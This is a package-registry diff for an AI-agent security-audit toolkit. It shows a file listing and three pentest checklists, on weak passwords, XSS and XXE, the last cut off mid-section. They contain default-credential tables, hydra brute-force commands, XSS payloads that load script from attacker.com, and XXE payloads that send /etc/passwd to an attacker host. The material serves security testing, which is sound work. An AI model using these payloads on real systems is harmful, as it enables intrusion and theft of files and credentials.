@vigolium/piolium 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +117 -0
- package/agents/access-auditor.md +300 -0
- package/agents/assumption-breaker.md +154 -0
- package/agents/attack-designer.md +116 -0
- package/agents/code-scanner.md +139 -0
- package/agents/concurrency-auditor.md +238 -0
- package/agents/confirm-writer.md +257 -0
- package/agents/context-reviewer.md +274 -0
- package/agents/cross-verifier.md +165 -0
- package/agents/cve-scout.md +381 -0
- package/agents/env-builder.md +282 -0
- package/agents/env-profiler.md +205 -0
- package/agents/evidence-collector.md +140 -0
- package/agents/finding-grader.md +142 -0
- package/agents/finding-writer.md +148 -0
- package/agents/flow-tracer.md +106 -0
- package/agents/goal-backtracer.md +146 -0
- package/agents/history-miner.md +467 -0
- package/agents/independent-verifier.md +118 -0
- package/agents/intent-mapper.md +183 -0
- package/agents/longshot-collector.md +128 -0
- package/agents/longshot-prober.md +126 -0
- package/agents/patch-auditor.md +73 -0
- package/agents/poc-author.md +124 -0
- package/agents/poc-runner.md +194 -0
- package/agents/probe-lead.md +269 -0
- package/agents/red-challenger.md +101 -0
- package/agents/report-composer.md +208 -0
- package/agents/review-adjudicator.md +216 -0
- package/agents/spec-auditor.md +155 -0
- package/agents/taint-tracer.md +265 -0
- package/agents/test-locator.md +209 -0
- package/agents/threat-modeler.md +132 -0
- package/agents/variant-scanner.md +108 -0
- package/agents/variant-spotter.md +110 -0
- package/bin/piolium.mjs +376 -0
- package/extensions/piolium/_vendor/yaml.bundle.d.mts +6 -0
- package/extensions/piolium/_vendor/yaml.bundle.mjs +139 -0
- package/extensions/piolium/agent-runner.ts +322 -0
- package/extensions/piolium/agents.ts +266 -0
- package/extensions/piolium/audit-state.ts +522 -0
- package/extensions/piolium/bundled-resources.ts +97 -0
- package/extensions/piolium/candidate-scan.ts +966 -0
- package/extensions/piolium/command-target.ts +177 -0
- package/extensions/piolium/console-stream.ts +57 -0
- package/extensions/piolium/export-results.ts +380 -0
- package/extensions/piolium/findings.ts +448 -0
- package/extensions/piolium/heartbeat.ts +182 -0
- package/extensions/piolium/help.ts +234 -0
- package/extensions/piolium/index.ts +1865 -0
- package/extensions/piolium/longshot.ts +530 -0
- package/extensions/piolium/matcher-suggestions.ts +196 -0
- package/extensions/piolium/matcher-utils.ts +83 -0
- package/extensions/piolium/modes/balanced.ts +750 -0
- package/extensions/piolium/modes/confirm-bootstrap.ts +186 -0
- package/extensions/piolium/modes/confirm.ts +697 -0
- package/extensions/piolium/modes/deep.ts +917 -0
- package/extensions/piolium/modes/diff.ts +177 -0
- package/extensions/piolium/modes/lite.ts +540 -0
- package/extensions/piolium/modes/longshot.ts +595 -0
- package/extensions/piolium/modes/merge.ts +204 -0
- package/extensions/piolium/modes/phase-runner.ts +267 -0
- package/extensions/piolium/modes/reinvest.ts +546 -0
- package/extensions/piolium/modes/revisit.ts +279 -0
- package/extensions/piolium/modes.ts +48 -0
- package/extensions/piolium/phase-labels.ts +123 -0
- package/extensions/piolium/phase-status-strip.ts +92 -0
- package/extensions/piolium/prompt-prefix-editor.ts +39 -0
- package/extensions/piolium/providers/anthropic-vertex.ts +836 -0
- package/extensions/piolium/recon.ts +409 -0
- package/extensions/piolium/result-stats.ts +105 -0
- package/extensions/piolium/retry.ts +120 -0
- package/extensions/piolium/scheduler.ts +212 -0
- package/extensions/piolium/secrets.ts +368 -0
- package/extensions/piolium/tools/web-tools.ts +148 -0
- package/package.json +77 -0
- package/skills/agentic-actions-auditor/SKILL.md +327 -0
- package/skills/agentic-actions-auditor/references/action-profiles.md +186 -0
- package/skills/agentic-actions-auditor/references/cross-file-resolution.md +209 -0
- package/skills/agentic-actions-auditor/references/foundations.md +94 -0
- package/skills/agentic-actions-auditor/references/vector-a-env-var-intermediary.md +77 -0
- package/skills/agentic-actions-auditor/references/vector-b-direct-expression-injection.md +83 -0
- package/skills/agentic-actions-auditor/references/vector-c-cli-data-fetch.md +83 -0
- package/skills/agentic-actions-auditor/references/vector-d-pr-target-checkout.md +88 -0
- package/skills/agentic-actions-auditor/references/vector-e-error-log-injection.md +88 -0
- package/skills/agentic-actions-auditor/references/vector-f-subshell-expansion.md +82 -0
- package/skills/agentic-actions-auditor/references/vector-g-eval-of-ai-output.md +91 -0
- package/skills/agentic-actions-auditor/references/vector-h-dangerous-sandbox-configs.md +102 -0
- package/skills/agentic-actions-auditor/references/vector-i-wildcard-allowlists.md +88 -0
- package/skills/audit/SKILL.md +562 -0
- package/skills/audit/assets/icon.svg +7 -0
- package/skills/audit/hooks/scripts/validate_phase_output.py +550 -0
- package/skills/audit/references/adversarial-review.md +148 -0
- package/skills/audit/references/architecture-aware-sast.md +306 -0
- package/skills/audit/references/audit-workflow.md +737 -0
- package/skills/audit/references/chamber-protocol.md +384 -0
- package/skills/audit/references/creative-attack-modes.md +221 -0
- package/skills/audit/references/deep-analysis.md +273 -0
- package/skills/audit/references/domain-attack-playbooks.md +1129 -0
- package/skills/audit/references/knowledge-base-template.md +513 -0
- package/skills/audit/references/real-env-validation.md +191 -0
- package/skills/audit/references/report-templates.md +417 -0
- package/skills/audit/references/triage-and-prereqs.md +134 -0
- package/skills/audit/scripts/consolidate_drafts.py +554 -0
- package/skills/audit/scripts/partition_findings.py +152 -0
- package/skills/audit/scripts/rg-hotspots.sh +121 -0
- package/skills/audit/scripts/stamp_file_state.py +349 -0
- package/skills/code-reviewer/SKILL.md +65 -0
- package/skills/codeql/SKILL.md +281 -0
- package/skills/codeql/references/build-fixes.md +90 -0
- package/skills/codeql/references/diagnostic-query-templates.md +339 -0
- package/skills/codeql/references/extension-yaml-format.md +209 -0
- package/skills/codeql/references/important-only-suite.md +153 -0
- package/skills/codeql/references/language-details.md +207 -0
- package/skills/codeql/references/macos-arm64e-workaround.md +179 -0
- package/skills/codeql/references/performance-tuning.md +111 -0
- package/skills/codeql/references/quality-assessment.md +172 -0
- package/skills/codeql/references/ruleset-catalog.md +63 -0
- package/skills/codeql/references/run-all-suite.md +92 -0
- package/skills/codeql/references/sarif-processing.md +79 -0
- package/skills/codeql/references/threat-models.md +51 -0
- package/skills/codeql/workflows/build-database.md +280 -0
- package/skills/codeql/workflows/create-data-extensions.md +261 -0
- package/skills/codeql/workflows/run-analysis.md +301 -0
- package/skills/differential-review/SKILL.md +220 -0
- package/skills/differential-review/adversarial.md +203 -0
- package/skills/differential-review/methodology.md +234 -0
- package/skills/differential-review/patterns.md +300 -0
- package/skills/differential-review/reporting.md +369 -0
- package/skills/fp-check/SKILL.md +125 -0
- package/skills/fp-check/references/bug-class-verification.md +114 -0
- package/skills/fp-check/references/deep-verification.md +143 -0
- package/skills/fp-check/references/evidence-templates.md +91 -0
- package/skills/fp-check/references/false-positive-patterns.md +115 -0
- package/skills/fp-check/references/gate-reviews.md +27 -0
- package/skills/fp-check/references/standard-verification.md +78 -0
- package/skills/insecure-defaults/SKILL.md +117 -0
- package/skills/insecure-defaults/references/examples.md +409 -0
- package/skills/last30days/SKILL.md +444 -0
- package/skills/sarif-parsing/SKILL.md +483 -0
- package/skills/sarif-parsing/resources/jq-queries.md +162 -0
- package/skills/sarif-parsing/resources/sarif_helpers.py +331 -0
- package/skills/security-threat-model/LICENSE.txt +201 -0
- package/skills/security-threat-model/SKILL.md +81 -0
- package/skills/security-threat-model/agents/openai.yaml +4 -0
- package/skills/security-threat-model/references/prompt-template.md +255 -0
- package/skills/security-threat-model/references/security-controls-and-assets.md +32 -0
- package/skills/semgrep/SKILL.md +212 -0
- package/skills/semgrep/references/rulesets.md +162 -0
- package/skills/semgrep/references/scan-modes.md +110 -0
- package/skills/semgrep/references/scanner-task-prompt.md +140 -0
- package/skills/semgrep/scripts/merge_sarif.py +203 -0
- package/skills/semgrep/workflows/scan-workflow.md +311 -0
- package/skills/semgrep-rule-creator/SKILL.md +168 -0
- package/skills/semgrep-rule-creator/references/quick-reference.md +202 -0
- package/skills/semgrep-rule-creator/references/workflow.md +240 -0
- package/skills/semgrep-rule-variant-creator/SKILL.md +205 -0
- package/skills/semgrep-rule-variant-creator/references/applicability-analysis.md +250 -0
- package/skills/semgrep-rule-variant-creator/references/language-syntax-guide.md +324 -0
- package/skills/semgrep-rule-variant-creator/references/workflow.md +518 -0
- package/skills/sharp-edges/SKILL.md +292 -0
- package/skills/sharp-edges/references/auth-patterns.md +252 -0
- package/skills/sharp-edges/references/case-studies.md +274 -0
- package/skills/sharp-edges/references/config-patterns.md +333 -0
- package/skills/sharp-edges/references/crypto-apis.md +190 -0
- package/skills/sharp-edges/references/lang-c.md +205 -0
- package/skills/sharp-edges/references/lang-csharp.md +285 -0
- package/skills/sharp-edges/references/lang-go.md +270 -0
- package/skills/sharp-edges/references/lang-java.md +263 -0
- package/skills/sharp-edges/references/lang-javascript.md +269 -0
- package/skills/sharp-edges/references/lang-kotlin.md +265 -0
- package/skills/sharp-edges/references/lang-php.md +245 -0
- package/skills/sharp-edges/references/lang-python.md +274 -0
- package/skills/sharp-edges/references/lang-ruby.md +273 -0
- package/skills/sharp-edges/references/lang-rust.md +272 -0
- package/skills/sharp-edges/references/lang-swift.md +287 -0
- package/skills/sharp-edges/references/language-specific.md +588 -0
- package/skills/spec-to-code-compliance/SKILL.md +357 -0
- package/skills/spec-to-code-compliance/resources/COMPLETENESS_CHECKLIST.md +69 -0
- package/skills/spec-to-code-compliance/resources/IR_EXAMPLES.md +417 -0
- package/skills/spec-to-code-compliance/resources/OUTPUT_REQUIREMENTS.md +105 -0
- package/skills/supply-chain-risk-auditor/SKILL.md +67 -0
- package/skills/supply-chain-risk-auditor/resources/results-template.md +41 -0
- package/skills/variant-analysis/METHODOLOGY.md +327 -0
- package/skills/variant-analysis/SKILL.md +142 -0
- package/skills/variant-analysis/resources/codeql/cpp.ql +119 -0
- package/skills/variant-analysis/resources/codeql/go.ql +69 -0
- package/skills/variant-analysis/resources/codeql/java.ql +71 -0
- package/skills/variant-analysis/resources/codeql/javascript.ql +63 -0
- package/skills/variant-analysis/resources/codeql/python.ql +80 -0
- package/skills/variant-analysis/resources/semgrep/cpp.yaml +98 -0
- package/skills/variant-analysis/resources/semgrep/go.yaml +63 -0
- package/skills/variant-analysis/resources/semgrep/java.yaml +61 -0
- package/skills/variant-analysis/resources/semgrep/javascript.yaml +60 -0
- package/skills/variant-analysis/resources/semgrep/python.yaml +72 -0
- package/skills/variant-analysis/resources/variant-report-template.md +75 -0
- package/skills/vuln-report/SKILL.md +137 -0
- package/skills/vuln-report/agents/openai.yaml +4 -0
- package/skills/vuln-report/references/report-template.md +135 -0
- package/skills/wooyun-legacy/SKILL.md +367 -0
- package/skills/wooyun-legacy/references/bank-penetration.md +222 -0
- package/skills/wooyun-legacy/references/checklists/command-execution-checklist.md +119 -0
- package/skills/wooyun-legacy/references/checklists/csrf-checklist.md +74 -0
- package/skills/wooyun-legacy/references/checklists/file-upload-checklist.md +108 -0
- package/skills/wooyun-legacy/references/checklists/info-disclosure-checklist.md +114 -0
- package/skills/wooyun-legacy/references/checklists/logic-flaws-checklist.md +95 -0
- package/skills/wooyun-legacy/references/checklists/misconfig-checklist.md +124 -0
- package/skills/wooyun-legacy/references/checklists/path-traversal-checklist.md +87 -0
- package/skills/wooyun-legacy/references/checklists/rce-checklist.md +93 -0
- package/skills/wooyun-legacy/references/checklists/sql-injection-checklist.md +97 -0
- package/skills/wooyun-legacy/references/checklists/ssrf-checklist.md +99 -0
- package/skills/wooyun-legacy/references/checklists/unauthorized-access-checklist.md +89 -0
- package/skills/wooyun-legacy/references/checklists/weak-password-checklist.md +115 -0
- package/skills/wooyun-legacy/references/checklists/xss-checklist.md +103 -0
- package/skills/wooyun-legacy/references/checklists/xxe-checklist.md +130 -0
- package/skills/wooyun-legacy/references/info-disclosure.md +975 -0
- package/skills/wooyun-legacy/references/logic-flaws.md +721 -0
- package/skills/wooyun-legacy/references/path-traversal.md +1191 -0
- package/skills/wooyun-legacy/references/telecom-penetration.md +156 -0
- package/skills/wooyun-legacy/references/unauthorized-access.md +980 -0
- package/skills/wooyun-legacy/references/xss.md +746 -0
- package/skills/zeroize-audit/SKILL.md +371 -0
- package/skills/zeroize-audit/configs/c.yaml +21 -0
- package/skills/zeroize-audit/configs/default.yaml +128 -0
- package/skills/zeroize-audit/configs/rust.yaml +83 -0
- package/skills/zeroize-audit/prompts/report_template.md +238 -0
- package/skills/zeroize-audit/prompts/system.md +163 -0
- package/skills/zeroize-audit/prompts/task.md +97 -0
- package/skills/zeroize-audit/references/compile-commands.md +231 -0
- package/skills/zeroize-audit/references/detection-strategy.md +191 -0
- package/skills/zeroize-audit/references/ir-analysis.md +252 -0
- package/skills/zeroize-audit/references/mcp-analysis.md +221 -0
- package/skills/zeroize-audit/references/poc-generation.md +470 -0
- package/skills/zeroize-audit/references/rust-zeroization-patterns.md +867 -0
- package/skills/zeroize-audit/schemas/input.json +83 -0
- package/skills/zeroize-audit/schemas/output.json +140 -0
- package/skills/zeroize-audit/tools/analyze_asm.sh +202 -0
- package/skills/zeroize-audit/tools/analyze_cfg.py +381 -0
- package/skills/zeroize-audit/tools/analyze_heap.sh +211 -0
- package/skills/zeroize-audit/tools/analyze_ir_semantic.py +429 -0
- package/skills/zeroize-audit/tools/diff_ir.sh +135 -0
- package/skills/zeroize-audit/tools/diff_rust_mir.sh +189 -0
- package/skills/zeroize-audit/tools/emit_asm.sh +67 -0
- package/skills/zeroize-audit/tools/emit_ir.sh +77 -0
- package/skills/zeroize-audit/tools/emit_rust_asm.sh +178 -0
- package/skills/zeroize-audit/tools/emit_rust_ir.sh +150 -0
- package/skills/zeroize-audit/tools/emit_rust_mir.sh +158 -0
- package/skills/zeroize-audit/tools/extract_compile_flags.py +284 -0
- package/skills/zeroize-audit/tools/generate_poc.py +1329 -0
- package/skills/zeroize-audit/tools/mcp/apply_confidence_gates.py +113 -0
- package/skills/zeroize-audit/tools/mcp/check_mcp.sh +68 -0
- package/skills/zeroize-audit/tools/mcp/normalize_mcp_evidence.py +125 -0
- package/skills/zeroize-audit/tools/scripts/check_llvm_patterns.py +481 -0
- package/skills/zeroize-audit/tools/scripts/check_mir_patterns.py +554 -0
- package/skills/zeroize-audit/tools/scripts/check_rust_asm.py +424 -0
- package/skills/zeroize-audit/tools/scripts/check_rust_asm_aarch64.py +300 -0
- package/skills/zeroize-audit/tools/scripts/check_rust_asm_x86.py +283 -0
- package/skills/zeroize-audit/tools/scripts/find_dangerous_apis.py +375 -0
- package/skills/zeroize-audit/tools/scripts/semantic_audit.py +923 -0
- package/skills/zeroize-audit/tools/track_dataflow.sh +196 -0
- package/skills/zeroize-audit/tools/validate_rust_toolchain.sh +298 -0
- package/skills/zeroize-audit/workflows/phase-0-preflight.md +150 -0
- package/skills/zeroize-audit/workflows/phase-1-source-analysis.md +144 -0
- package/skills/zeroize-audit/workflows/phase-2-compiler-analysis.md +139 -0
- package/skills/zeroize-audit/workflows/phase-3-interim-report.md +46 -0
- package/skills/zeroize-audit/workflows/phase-4-poc-generation.md +46 -0
- package/skills/zeroize-audit/workflows/phase-5-poc-validation.md +136 -0
- package/skills/zeroize-audit/workflows/phase-6-final-report.md +44 -0
- package/skills/zeroize-audit/workflows/phase-7-test-generation.md +42 -0
- package/themes/piolium-srcery.json +94 -0
|
@@ -0,0 +1,115 @@
|
|
|
1
|
+
# Weak Password Testing Checklist
|
|
2
|
+
> Derived from ~75 real-world vulnerability cases (WooYun 2010-2016)
|
|
3
|
+
|
|
4
|
+
## High-Risk Parameters to Test
|
|
5
|
+
| Parameter | Context |
|
|
6
|
+
|-----------|---------|
|
|
7
|
+
| `id`, `uid` | User identifiers for enumeration |
|
|
8
|
+
| `cmd` | Command execution post-auth |
|
|
9
|
+
| `action` | Admin action parameters |
|
|
10
|
+
| `dir` | Directory browsing post-auth |
|
|
11
|
+
| `systemID` | System selector parameters |
|
|
12
|
+
| `APP_UNIT` | Application unit identifiers |
|
|
13
|
+
| `site_id` | Multi-tenant site selectors |
|
|
14
|
+
|
|
15
|
+
## Most Common Default Credentials
|
|
16
|
+
| Username | Password | Context |
|
|
17
|
+
|----------|----------|---------|
|
|
18
|
+
| `admin` | `admin` | Web application admin panels |
|
|
19
|
+
| `admin` | `123456` | Chinese web applications |
|
|
20
|
+
| `admin` | `admin123` | CMS backends |
|
|
21
|
+
| `admin` | `000000` | Enterprise systems |
|
|
22
|
+
| `admin` | `password` | Generic default |
|
|
23
|
+
| `weblogic` | `weblogic` | Oracle WebLogic console |
|
|
24
|
+
| `weblogic` | `12345678` | WebLogic (alternate) |
|
|
25
|
+
| `root` | `root` | Database, SSH |
|
|
26
|
+
| `test` | `test` | Development accounts |
|
|
27
|
+
| `sa` | *(empty)* | MSSQL default |
|
|
28
|
+
| `prtgadmin` | `prtgadmin` | PRTG monitoring |
|
|
29
|
+
| `tomcat` | `tomcat` | Apache Tomcat manager |
|
|
30
|
+
|
|
31
|
+
## Common Attack Patterns (by frequency)
|
|
32
|
+
1. **Admin panel weak password** (most common)
|
|
33
|
+
- CMS/OA systems with default `admin/123456`
|
|
34
|
+
- No account lockout after failed attempts
|
|
35
|
+
2. **Service weak password**
|
|
36
|
+
- WebLogic, JBoss, Tomcat management consoles
|
|
37
|
+
- Database services (MySQL, MSSQL, Oracle)
|
|
38
|
+
- Monitoring platforms (Zabbix, PRTG, Nagios)
|
|
39
|
+
3. **Infrastructure weak password**
|
|
40
|
+
- SSH/Telnet with default credentials
|
|
41
|
+
- Router/switch admin interfaces
|
|
42
|
+
- IPMI/BMC management (e.g., Huawei Tecal)
|
|
43
|
+
4. **Password → Shell escalation chain**
|
|
44
|
+
- WebLogic console → Deploy WAR → Webshell
|
|
45
|
+
- Tomcat manager → Deploy WAR → Code execution
|
|
46
|
+
- JBoss JMXInvokerServlet → Remote code execution
|
|
47
|
+
- Database access → OS command via xp_cmdshell/UDF
|
|
48
|
+
|
|
49
|
+
## High-Value Weak Password Targets
|
|
50
|
+
| Service | Default Port | Default Creds |
|
|
51
|
+
|---------|-------------|---------------|
|
|
52
|
+
| WebLogic | 7001 | weblogic/weblogic |
|
|
53
|
+
| Tomcat Manager | 8080 | tomcat/tomcat |
|
|
54
|
+
| JBoss | 8080 | admin/admin |
|
|
55
|
+
| phpMyAdmin | 80/8080 | root/*(empty)* |
|
|
56
|
+
| Jenkins | 8080 | *(no auth)* |
|
|
57
|
+
| Zabbix | 10051 | Admin/zabbix |
|
|
58
|
+
| Nagios | 80 | nagiosadmin/nagios |
|
|
59
|
+
| Grafana | 3000 | admin/admin |
|
|
60
|
+
| Router | 80 | admin/admin |
|
|
61
|
+
| VPN | 443 | *(varies)* |
|
|
62
|
+
|
|
63
|
+
## Quick Test Vectors
|
|
64
|
+
```
|
|
65
|
+
# Top password list for Chinese web applications
|
|
66
|
+
admin
|
|
67
|
+
123456
|
|
68
|
+
admin123
|
|
69
|
+
000000
|
|
70
|
+
password
|
|
71
|
+
12345678
|
|
72
|
+
test
|
|
73
|
+
888888
|
|
74
|
+
666666
|
|
75
|
+
abc123
|
|
76
|
+
admin888
|
|
77
|
+
qwerty
|
|
78
|
+
|
|
79
|
+
# Username enumeration
|
|
80
|
+
admin, administrator, root, test, guest
|
|
81
|
+
manager, system, sysadmin, operator
|
|
82
|
+
[company-name], [domain-prefix]
|
|
83
|
+
|
|
84
|
+
# Service-specific brute force
|
|
85
|
+
hydra -l admin -P passwords.txt TARGET http-post-form
|
|
86
|
+
hydra -l root -P passwords.txt TARGET ssh
|
|
87
|
+
hydra -l sa -P passwords.txt TARGET mssql
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
## Post-Authentication Escalation
|
|
91
|
+
1. **WebLogic** → Deploy WAR package → Webshell
|
|
92
|
+
2. **Tomcat** → Manager app → Deploy WAR → Shell
|
|
93
|
+
3. **JBoss** → JMXInvokerServlet → Remote execution
|
|
94
|
+
4. **phpMyAdmin** → SELECT INTO OUTFILE → Webshell
|
|
95
|
+
5. **Database** → Read config files → Internal credentials
|
|
96
|
+
6. **OA System** → Internal documents → VPN credentials
|
|
97
|
+
7. **Email** → Password reset → Other system access
|
|
98
|
+
|
|
99
|
+
## Testing Methodology
|
|
100
|
+
1. Enumerate admin panel and service login pages
|
|
101
|
+
2. Test default credentials for identified services
|
|
102
|
+
3. Attempt common username/password combinations
|
|
103
|
+
4. Check for account lockout policies
|
|
104
|
+
5. Test rate limiting on login endpoints
|
|
105
|
+
6. Verify password complexity requirements
|
|
106
|
+
7. Check for credential reuse across services
|
|
107
|
+
8. Test post-authentication escalation paths
|
|
108
|
+
|
|
109
|
+
## Common Root Causes
|
|
110
|
+
- Default credentials never changed after installation
|
|
111
|
+
- No password complexity policy enforcement
|
|
112
|
+
- No account lockout or rate limiting
|
|
113
|
+
- Management consoles exposed to internet
|
|
114
|
+
- Same password reused across multiple services
|
|
115
|
+
- Development/test accounts left in production
|
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
# XSS Testing Checklist
|
|
2
|
+
> Derived from 46 real-world vulnerability cases (WooYun 2010-2016)
|
|
3
|
+
|
|
4
|
+
## High-Risk Parameters to Test
|
|
5
|
+
| Parameter | Frequency | Notes |
|
|
6
|
+
|-----------|-----------|-------|
|
|
7
|
+
| `id` | 2x | Reflected in page content |
|
|
8
|
+
| `photourl` | 1x | Image URL parameters; direct injection |
|
|
9
|
+
| `w` / `kwd` | 1x | Search keyword parameters |
|
|
10
|
+
| `url` / `sohuurl` | 1x | URL redirect/embed parameters |
|
|
11
|
+
| `uid` / `status` | 1x | User profile fields |
|
|
12
|
+
| `auth_str` | 1x | Authentication string reflected in page |
|
|
13
|
+
| `m` | 1x | Module/method selectors |
|
|
14
|
+
| `rf` | 1x | Referrer parameters |
|
|
15
|
+
| `vers` | 1x | Version parameters in Flash embeds |
|
|
16
|
+
| `word` / `get` | 1x | Search and query parameters |
|
|
17
|
+
|
|
18
|
+
## XSS Type Distribution
|
|
19
|
+
| Type | Observed Cases | Risk |
|
|
20
|
+
|------|---------------|------|
|
|
21
|
+
| Stored XSS | ~65% | Critical - persists, affects all viewers |
|
|
22
|
+
| Reflected XSS | ~25% | High - requires victim click |
|
|
23
|
+
| DOM-based XSS | ~10% | High - client-side only |
|
|
24
|
+
|
|
25
|
+
## Common Attack Vectors (by frequency)
|
|
26
|
+
|
|
27
|
+
### 1. Stored XSS via User Input Fields
|
|
28
|
+
- **Forum posts / comments**: Most common stored XSS entry point
|
|
29
|
+
- **Profile fields**: Username, bio, personal description
|
|
30
|
+
- **Blog content**: Post titles and body content
|
|
31
|
+
- **Mobile app submissions**: WAP pages with weaker filtering than PC
|
|
32
|
+
- **Forwarded content**: Social sharing features re-rendering HTML
|
|
33
|
+
|
|
34
|
+
### 2. Reflected XSS via URL Parameters
|
|
35
|
+
- Search boxes and keyword parameters
|
|
36
|
+
- Error pages reflecting user input
|
|
37
|
+
- Redirect URL parameters
|
|
38
|
+
- Image/resource URL parameters
|
|
39
|
+
|
|
40
|
+
### 3. Flash-Based XSS
|
|
41
|
+
- SWF files with `allowscriptaccess="always"`
|
|
42
|
+
- Flash embed tags loading external SWF files
|
|
43
|
+
- ExternalInterface.call() in ActionScript
|
|
44
|
+
|
|
45
|
+
## Payload Catalog
|
|
46
|
+
|
|
47
|
+
### Basic Detection
|
|
48
|
+
```
|
|
49
|
+
"><script>alert(1)</script>
|
|
50
|
+
<script>alert(document.cookie)</script>
|
|
51
|
+
<img src=x onerror=alert(1)>
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
### Filter Bypass Payloads
|
|
55
|
+
```
|
|
56
|
+
<img src=# onerror=alert(/wooyun/)>
|
|
57
|
+
<select autofocus onfocus=alert(1)>
|
|
58
|
+
<textarea autofocus onfocus=alert(1)>
|
|
59
|
+
" onfocus="alert(1)" autofocus="
|
|
60
|
+
" onmouseout=javascript:alert(document.cookie)>
|
|
61
|
+
<iframe src=javascript:alert(1)>
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
### Encoded Payloads
|
|
65
|
+
```
|
|
66
|
+
<img/src=1 onerror=(function(){window.s=document.
|
|
67
|
+
createElement(String.fromCharCode(115,99,114,105,
|
|
68
|
+
112,116));window.s.src=String.fromCharCode(104,116,
|
|
69
|
+
116,112,...);document.body.appendChild(window.s)})()>
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
### External Script Loading
|
|
73
|
+
```
|
|
74
|
+
<script src=//attacker.com/xss.js></script>
|
|
75
|
+
"><script src=//short.example/xxxxx></script>
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
## Bypass Techniques
|
|
79
|
+
- **Tag alternatives**: Use `<img>`, `<select>`, `<textarea>`, `<svg>` when `<script>` is filtered
|
|
80
|
+
- **Event handlers**: `onfocus`, `onerror`, `onmouseout`, `onload` as alternatives to inline script
|
|
81
|
+
- **Autofocus trick**: `<input autofocus onfocus=alert(1)>` triggers without user interaction
|
|
82
|
+
- **HTML5 features**: New tags and event handlers bypass legacy filters
|
|
83
|
+
- **Flash embed**: `allowscriptaccess=always` enables JS execution from SWF
|
|
84
|
+
- **Case variation and encoding**: Mix case, use HTML entities, URL encoding
|
|
85
|
+
- **DOM context escape**: Close existing tags with `">` before injecting
|
|
86
|
+
|
|
87
|
+
## Quick Test Vectors
|
|
88
|
+
```
|
|
89
|
+
1. "><script>alert(1)</script> (basic reflected)
|
|
90
|
+
2. <img src=x onerror=alert(1)> (tag alternative)
|
|
91
|
+
3. " autofocus onfocus="alert(1) (attribute injection)
|
|
92
|
+
4. <svg/onload=alert(1)> (SVG context)
|
|
93
|
+
5. javascript:alert(1) (URL context)
|
|
94
|
+
6. </script><script>alert(1)</script> (script context escape)
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
## High-Value Targets
|
|
98
|
+
- **Comment/review systems**: Stored XSS reaching admin panels
|
|
99
|
+
- **User profile pages**: Username/bio fields rendered on public pages
|
|
100
|
+
- **Search results pages**: Reflected XSS via keyword parameters
|
|
101
|
+
- **Mobile/WAP versions**: Often weaker filtering than desktop
|
|
102
|
+
- **Social sharing features**: Content re-rendered across contexts
|
|
103
|
+
- **Admin panels via blind XSS**: Input fields reviewed by admins
|
|
@@ -0,0 +1,130 @@
|
|
|
1
|
+
# XXE (XML External Entity) Testing Checklist
|
|
2
|
+
> Derived from 25 real-world vulnerability cases (WooYun 2010-2016)
|
|
3
|
+
|
|
4
|
+
## Entry Points to Test
|
|
5
|
+
| Entry Point | Frequency | Notes |
|
|
6
|
+
|-------------|-----------|-------|
|
|
7
|
+
| SOAP/WSDL web services | ~35% | Axis2, XFire, CXF endpoints |
|
|
8
|
+
| Document upload (DOCX/XLSX) | ~20% | Office XML parsed server-side |
|
|
9
|
+
| XML API endpoints | ~20% | REST/SOAP accepting XML input |
|
|
10
|
+
| WeChat/messaging API callbacks | ~10% | Third-party integration XML parsing |
|
|
11
|
+
| File preview functionality | ~10% | Server-side document rendering |
|
|
12
|
+
| XML-RPC endpoints | ~5% | Legacy RPC interfaces |
|
|
13
|
+
|
|
14
|
+
## Vulnerability Types Observed
|
|
15
|
+
| Type | Count | Description |
|
|
16
|
+
|------|-------|-------------|
|
|
17
|
+
| Blind XXE (OOB) | ~40% | No direct response; exfiltrate via external DTD |
|
|
18
|
+
| Direct file read | ~35% | File contents returned in response |
|
|
19
|
+
| SSRF via XXE | ~15% | Internal port scanning, service access |
|
|
20
|
+
| DoS via entity expansion | ~10% | Billion laughs / recursive entities |
|
|
21
|
+
|
|
22
|
+
## Common Attack Payloads
|
|
23
|
+
|
|
24
|
+
### 1. Basic File Read (Direct XXE)
|
|
25
|
+
```xml
|
|
26
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
27
|
+
<!DOCTYPE foo [
|
|
28
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
29
|
+
]>
|
|
30
|
+
<root>&xxe;</root>
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
### 2. Blind XXE with External DTD (OOB)
|
|
34
|
+
**Malicious DTD hosted on attacker server:**
|
|
35
|
+
```xml
|
|
36
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
37
|
+
<!ENTITY % eval "<!ENTITY % send SYSTEM
|
|
38
|
+
'http://attacker.com/?data=%file;'>">
|
|
39
|
+
%eval;
|
|
40
|
+
%send;
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
**Injection payload:**
|
|
44
|
+
```xml
|
|
45
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
46
|
+
<!DOCTYPE root [
|
|
47
|
+
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
|
|
48
|
+
%remote;
|
|
49
|
+
]>
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
### 3. Directory Listing via Gopher/File Protocol
|
|
53
|
+
```xml
|
|
54
|
+
<!ENTITY % a SYSTEM "file:///">
|
|
55
|
+
<!ENTITY % b "<!ENTITY % c SYSTEM
|
|
56
|
+
'gopher://attacker.com:80/%a;'>">
|
|
57
|
+
%b;
|
|
58
|
+
%c;
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
### 4. SSRF via XXE (Port Scanning)
|
|
62
|
+
```xml
|
|
63
|
+
<!DOCTYPE foo [
|
|
64
|
+
<!ENTITY xxe SYSTEM "http://127.0.0.1:22/">
|
|
65
|
+
]>
|
|
66
|
+
<root>&xxe;</root>
|
|
67
|
+
```
|
|
68
|
+
Response time indicates port state: slow = open, fast = closed.
|
|
69
|
+
|
|
70
|
+
### 5. DOCX-Based XXE
|
|
71
|
+
Decompress .docx, inject entity in `word/document.xml`:
|
|
72
|
+
```xml
